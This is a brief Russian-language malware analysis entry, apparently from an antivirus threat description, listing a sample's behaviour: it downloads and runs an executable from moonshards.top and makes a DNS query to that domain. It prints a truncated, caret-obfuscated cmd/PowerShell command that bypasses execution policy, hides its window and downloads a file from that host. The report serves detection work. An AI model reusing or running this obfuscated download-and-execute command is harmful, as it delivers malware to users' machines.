Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^Owe^r^S^heLL.^E^Xe -exECu^t^I^on^po^l^ICY B^Y^p^As^s ^-^NO^ProFILE -wiND^owS^T^yl^e hIddE^N ^(NEw-^o^BjeC^t^ SYStem.Ne^T^.weBCliE^NT).^DO^wN^L^O^a^dfiL^E('http://moo...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^Owe^r^S^heLL.^E^Xe -exECu^t^I^on^po^l^ICY B^Y^p^As^s ^-^NO^ProFILE -wiND^owS^T^yl^e hIddE^N ^(NEw-^o^BjeC^t^ SYStem.Ne^T^.weBCliE^NT).^DO^wN^L^O^a^dfiL^E('http://moo...' (со скрытым окном)
